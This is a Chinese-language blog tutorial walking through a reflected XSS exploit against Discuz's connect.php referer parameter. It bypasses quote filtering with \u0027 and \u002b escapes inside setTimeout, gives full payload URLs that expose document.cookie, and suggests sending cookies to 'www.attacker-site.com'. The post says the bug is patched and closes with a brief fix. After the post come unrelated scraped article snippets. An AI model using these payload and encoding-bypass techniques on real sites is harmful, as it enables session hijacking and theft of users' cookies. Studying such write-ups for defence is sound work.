<script type="text/javascript" reload="1">setTimeout("window.location.href ='http://www.discuz.net/./a'; alert(document.cookie);a='';", 3000);</script>

1.在这个样例(如今早已补)中希望大家也要体会到:XSS的上下文比較重要,怎样依据上下文,利用未过滤的字符,合理的构造,才是成功的关键(要有足够猥琐的思路)

http://www.discuz.net/connect.php?receive=yes&mod=login&op=callback&referer=aaaaaaaaaaa&oauth_token=17993859178940955951&openid=A9446B35E3A17FD1ECBB3D8D42FC126B&oauth_signature=a6DLYVhIXQJeXiXkf7nVdbgntm4%3D&oauth_vericode=3738504772&timestamp=1354305802



2.这是測试注冊的一个账户,我们去F12看 源代码,第一个思路就是看上下文,在上下文中发现原始的上下文,然后闭合和绕过原来的上下文,源代码之后,ctrl+f 搜索自己能够控制输入的地方(如账号,个人信息等)



3.看到:

<script type="text/javascript" reload="1">setTimeout("window.location.href ='http://www.discuz.net/./aaaaaaaaaaa';", 3000);</script>
...
<a href ="http://www.discuz.net/./aaaaaaaaaaa" >

4.两处的上下文都须要 双引號或者单引號的闭合,能够试试 aaaaaaaaaaa" 作为账户名注冊一个 来试试,或者直接字啊URL模拟你和这种信息,看看有没有报错,经过实验,是不行的,是的,不可能给我们留这麽大的漏洞



5.然后我们回头看看第一个是作为函数參数的,setTimeout(可运行脚本,延时时间)函数,也就是说这个函数会把函数的第一个參数作为脚本运行,那我们试下闭合单引號, 在 URL 中 &referfer=aaaaaaaaaaa'&oauth_signature....



6.可是这里已经被过滤了。变成了window.location.href ='http://www.discuz.net/./aaaaaaaaaaa'';",3000) 这里单引號是行不通的。



7.要相信还是自己的思路不够猥琐,我们看到setTimeout()的第一个參数是字符串,我们前面的教程里说过一次,JS字符串中,字符还能够表示为unicode的形式,即:单引號还能够表示为\u0027或者\x27,呵呵,希望来了吧,还有允许字符的不同编码的闭合方式,lz过滤了\没? 试试便知,



在URL:

&referfer=aaaaaaaaaaa\&oauth_signature....



结果:

<script type="text/javascript" reload="1">setTimeout("window.location.href ='http://www.discuz.net/./aaaaaaaaaaa\';", 3000);</script>

大喜:没有过滤\就是其转义性还能够被client使用

以下还是老思路:



把原来引號里面的单引號都变成\u0027或者\x27

<script type="text/javascript" reload="1">setTimeout("window.location.href ='http://www.discuz.net/./a\u0027; alert(document.cookie);a=\u0027\u0027;", 3000);</script>

8.在URL:

http://www.discuz.net/connect.php?receive=yes&mod=login&op=callback&referer=a\u0027;alert(document.cookie);&oauth_token=17993859178940955951&openid=A9446B35E3A17FD1ECBB3D8D42FC126B&oauth_signature=a6DLYVhIXQJeXiXkf7nVdbgntm4%3D&oauth_vericode=3738504772&timestamp=1354305802



运行后,直接弹出cookie, 呵呵,还有啥说的,这里的已经是POC了!!!



9.假设把原来的alert() 换一下,直接指向自已的xss平台就真的Ok了

如 换成 window.location.href='www.attacker-site.com?c='+document.cookie+';'    这样会跳转到还有一个页面,造成载入失效



所以要改进:

<script type="text/javascript" reload="1">setTimeout("window.location.href ='http://www.discuz.net/./a'.replace(/.+/,/javascript:alert(document.cookie)/.source);//';", 3000);</script>

上面类似于我曾经写的文章点击劫持, 改动client的href代码,相同替换掉单引號,和加号

<script type="text/javascript" reload="1">setTimeout("window.location.href ='http://www.discuz.net/./a\u0027.replace(/.\u002b/,/javascript:alert(document.cookie)/.source);//';", 3000);</script>

在URL:

http://www.discuz.net/connect.php?receive=yes&mod=login&op=callback&referer=a\u0027.replace(/.\u002b/,/javascript:alert(document.cookie)/.source);//&oauth_token=17993859178940955951&openid=A9446B35E3A17FD1ECBB3D8D42FC126B&oauth_signature=a6DLYVhIXQJeXiXkf7nVdbgntm4%3D&oauth_vericode=3738504772&timestamp=1354305802



这样就不会由于跳转而载入失败了



看这些猥琐的样例中,事实上终于都是嵌套这反射的思想,然后就是依据上下文绕过的思想,熟能生巧,让我们尽情的Xss去吧



这个修复方案就是过滤\ 就Ok了



关于Json XSS (http://blog.csdn.net/l_f0rm4t3d/article/details/23851071) 请看我写过的这篇

XSS学习笔记(四)-漏洞利用全过程的更多相关文章

  1. 零拷贝详解 Java NIO学习笔记四(零拷贝详解)

    转 https://blog.csdn.net/u013096088/article/details/79122671 Java NIO学习笔记四(零拷贝详解) 2018年01月21日 20:20:5 ...

  2. C#可扩展编程之MEF学习笔记(四):见证奇迹的时刻

    前面三篇讲了MEF的基础和基本到导入导出方法,下面就是见证MEF真正魅力所在的时刻.如果没有看过前面的文章,请到我的博客首页查看. 前面我们都是在一个项目中写了一个类来测试的,但实际开发中,我们往往要 ...

  3. IOS学习笔记(四)之UITextField和UITextView控件学习

    IOS学习笔记(四)之UITextField和UITextView控件学习(博客地址:http://blog.csdn.net/developer_jiangqq) Author:hmjiangqq ...

  4. java之jvm学习笔记四(安全管理器)

    java之jvm学习笔记四(安全管理器) 前面已经简述了java的安全模型的两个组成部分(类装载器,class文件校验器),接下来学习的是java安全模型的另外一个重要组成部分安全管理器. 安全管理器 ...

  5. Learning ROS for Robotics Programming Second Edition学习笔记(四) indigo devices

    中文译著已经出版,详情请参考:http://blog.csdn.net/ZhangRelay/article/category/6506865 Learning ROS for Robotics Pr ...

  6. Typescript 学习笔记四:回忆ES5 中的类

    中文网:https://www.tslang.cn/ 官网:http://www.typescriptlang.org/ 目录: Typescript 学习笔记一:介绍.安装.编译 Typescrip ...

  7. ES6学习笔记<四> default、rest、Multi-line Strings

    default 参数默认值 在实际开发 有时需要给一些参数默认值. 在ES6之前一般都这么处理参数默认值 function add(val_1,val_2){ val_1 = val_1 || 10; ...

  8. muduo网络库学习笔记(四) 通过eventfd实现的事件通知机制

    目录 muduo网络库学习笔记(四) 通过eventfd实现的事件通知机制 eventfd的使用 eventfd系统函数 使用示例 EventLoop对eventfd的封装 工作时序 runInLoo ...

  9. python3.4学习笔记(四) 3.x和2.x的区别,持续更新

    python3.4学习笔记(四) 3.x和2.x的区别 在2.x中:print html,3.x中必须改成:print(html) import urllib2ImportError: No modu ...

  10. Go语言学习笔记四: 运算符

    Go语言学习笔记四: 运算符 这章知识好无聊呀,本来想跨过去,但没准有初学者要学,还是写写吧. 运算符种类 与你预期的一样,Go的特点就是啥都有,爱用哪个用哪个,所以市面上的运算符基本都有. 算术运算 ...

随机推荐

  1. BZOJ 2463 谁能赢呢?

           刚开始做这道题时,我纠结了许久什么是最优走法,想了好半天也不晓得,后来被大神点醒,最有走法,最后就是每个格子都走了一遍,得,这下简单多了,算一下总共的格数是奇数还是偶数,奇数则先手赢,偶 ...

  2. JavaSE学习总结第10天_面向对象5

      10.01 运动员和教练案例分析 教练和运动员案例:运动员分乒乓球运动员和篮球运动员,教练分乒乓球教练和篮球教练.为了出国交流,跟乒乓球相关的人员都需要学习英语. 分析: 10.02 运动员和教练 ...

  3. java键盘录入

    System.out:标准输出设备(默认是:控制台) System.in:标准输入设备(默认是:键盘) --------------------- InputStream in = System.in ...

  4. WEB ICON 的探讨

    一般考虑到webicon 就是cssSprite和自定义font:本文基于下述而总结和进行分析,如有笔误有望指出,谢谢 在线教程:用字体在网页中画ICON图标 http://www.imooc.com ...

  5. mysql存储过程详解[转]

    1.      存储过程简介   我们常用的操作数据库语言SQL语句在执行的时候需要要先编译,然后执行,而存储过程(Stored Procedure)是一组为了完成特定功能的SQL语句集,经编译后存储 ...

  6. foreach遍历对象的属性

    <?php class MyClass { public $var1 = 'value 1' ; public $var2 = 'value 2' ; public $var3 = 'value ...

  7. Java疯狂讲义(四)

  8. Ubuntu基本设置

    (1)  为了启用 root 帐号 (也就是 设置一个口令) 使用: sudo passwd root 1.设置IP, 终端输入 sudo gedit /etc/network/interfaces ...

  9. boost::thread用法

    最近在做一个消息中间件里面涉及到多线程编程,由于跨平台的原因我采用了boost线程库.在创建线程时遇到了几种线程创建方式现总结如下: 首先看看boost::thread的构造函数吧,boost::th ...

  10. A - Number Sequence(矩阵快速幂或者找周期)

    Description A number sequence is defined as follows: f(1) = 1, f(2) = 1, f(n) = (A * f(n - 1) + B * ...